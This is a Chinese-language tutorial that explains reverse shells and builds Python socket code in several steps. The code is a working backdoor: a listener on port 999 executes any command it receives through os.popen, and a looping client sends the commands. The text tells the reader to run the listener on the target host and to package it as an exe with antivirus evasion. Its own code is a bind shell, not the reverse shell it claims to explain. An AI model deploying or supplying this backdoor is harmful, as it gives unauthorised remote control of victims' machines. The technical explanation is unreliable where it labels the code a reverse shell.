什么叫 反弹 shell
反弹 shell (Reverse Shell) 是一种常见的渗透测试技术,它指的是受害者主机主动连接攻击者的主机,从而让攻击者获得对受害者主机的控制权。在一个典型的反弹 shell 攻击中,攻击者会在自己的主机上监听一个特定的端口,然后诱使目标主机主动连接到这个端口。当目标主机与攻击者的主机建立连接后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限,从而进行进一步的渗透和控制。
目录:
什么叫 反弹 shell
反弹 shell 的工作原理如下:
反弹 shell 编写:
(1)基本知识:
客户端(后执行):
服务端(先运行服务端):
(2)执行命令,发送和接收命令.
客户端(后执行):
服务端(先运行服务端):
(3)实战 执行命令,发送和接收命令.
客户端(后执行):
服务端(把这个 Python 程序 拿到服务端执行):
(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.
客户端(后执行):
服务端(把这个 Python 程序 拿到服务端执行):
(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)
服务端(把这个程序 拿到服务端执行):
客户端(后执行):
基础知识:
Python 的 socket 网络通讯图.(有涉及到通信都涉及到socket.)
反弹 shell 的工作原理如下:
(1)攻击者在自己的主机上监听一个特定的端口,等待目标主机的连接.
(2)攻击者在目标主机上执行一段代码,让目标主机主动连接到攻击者的主机.
(3)当连接建立后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限.
反弹 shell 编写:
(1)基本知识:
客户端(后执行):
import socket
# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果
s=socket.socket() # 建立 socket
s.connect(("127.0.0.1",999)) # 连接
#cmd=input("请输入要执行的命令:")
s.send("ok".encode()) # 发送 .encode() 是编码的意思(发送比特流数据)
服务端(先运行服务端):
import socket
# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去
s=socket.socket() # 建立 socket
s.bind(("0.0.0.0",999)) # 绑定 当前地址
s.listen(5) # 监听:最多 5 个终端
sss,add=s.accept() # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode() # 接收数据, .decode 解码比特流数据.
print(data) # 接收数据,然后打印出来.
(2)执行命令,发送和接收命令.
客户端(后执行):
import socket
# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果
s=socket.socket() # 建立 socket
s.connect(("127.0.0.1",999)) # 连接
cmd=input("请输入要执行的命令:") # 输入我们要执行的命令.
s.send(cmd.encode()) # cmd 是执行的命令
data=s.recv(1024).decode() # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data) # 再把数据打印
服务端(先运行服务端):
import socket,os
# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去
s=socket.socket() # 建立 socket
s.bind(("0.0.0.0",999)) # 绑定 当前地址
s.listen(5) # 监听:最多 5 个终端
sss,add=s.accept() # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode() # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read() # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode()) # send()把结果发送到客户端,encode()把发送数据要进行编码
(3)实战 执行命令,发送和接收命令.
客户端(后执行):
import socket
# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果
s=socket.socket() # 建立 socket
s.connect(("172.16.10.19",999)) # 连接( IP地址 写服务端的 IP地址 )
cmd=input("请输入要执行的命令:") # 输入我们要执行的命令.
s.send(cmd.encode()) # cmd 是执行的命令
data=s.recv(1024).decode() # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data) # 再把数据打印
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os
# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去
s=socket.socket() # 建立 socket
s.bind(("0.0.0.0",999)) # 绑定 当前地址
s.listen(5) # 监听:最多 5 个终端
sss,add=s.accept() # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode() # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read() # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode()) # send()把结果发送到客户端,encode()把发送数据要进行编码
(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.
客户端(后执行):
import socket
# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果
ip=input("请输入服务端的 IP 地址:")
s=socket.socket() # 建立 socket
s.connect((ip,999)) # 连接
while True: # 写个循环,让他为真(他就可以一直输入命令)
cmd=input("请输入要执行的命令:") # 输入我们要执行的命令.
s.send(cmd.encode()) # cmd 是执行的命令
data=s.recv(1024).decode() # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data) # 再把数据打印
s.close() # 不为真的就关闭.(不执行就关闭)
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os
# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去
s=socket.socket() # 建立 socket
s.bind(("0.0.0.0",999)) # 绑定 当前地址
s.listen(5) # 监听:最多 5 个终端
while True: # 写个循环,让他为真(他就可以一直执行命令和返回命令)
sss,addr=s.accept() # 被动接受客户端的连接,等待连接的到来.
while True: # 如果这里不加循环,上面的结果执行一次后,连接就会关闭。所以要让他一直保持开的状态.(为真 )
data=sss.recv(1024).decode() # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read() # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode()) # send()把结果发送到客户端,encode()把发送数据要进行编码
s.close() # # 不为真的就关闭.(不执行就关闭)
(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)
1.py 就是服务端代码:
pip install pyinstaller // 下载 pyinstaller
pyinstaller -F 1.py // 1.py是要打包的exe文件,
!!!记得打包成功后 exe 文件在当前目录的 dist 下.
服务端(把这个程序 拿到服务端执行):
客户端(后执行):
import socket
# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果
ip=input("请输入服务端的 IP 地址:")
s=socket.socket() # 建立 socket
s.connect((ip,999)) # 连接
while True: # 写个循环,让他为真(他就可以一直输入命令)
cmd=input("请输入要执行的命令:") # 输入我们要执行的命令.
s.send(cmd.encode()) # cmd 是执行的命令
data=s.recv(1024).decode() # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data) # 再把数据打印
s.close() # 不为真的就关闭.(不执行就关闭)
学习链接:第158天:安全开发-Python-Socket编程&反弹Shell&分离免杀&端口探针&域名爆破_哔哩哔哩_bilibili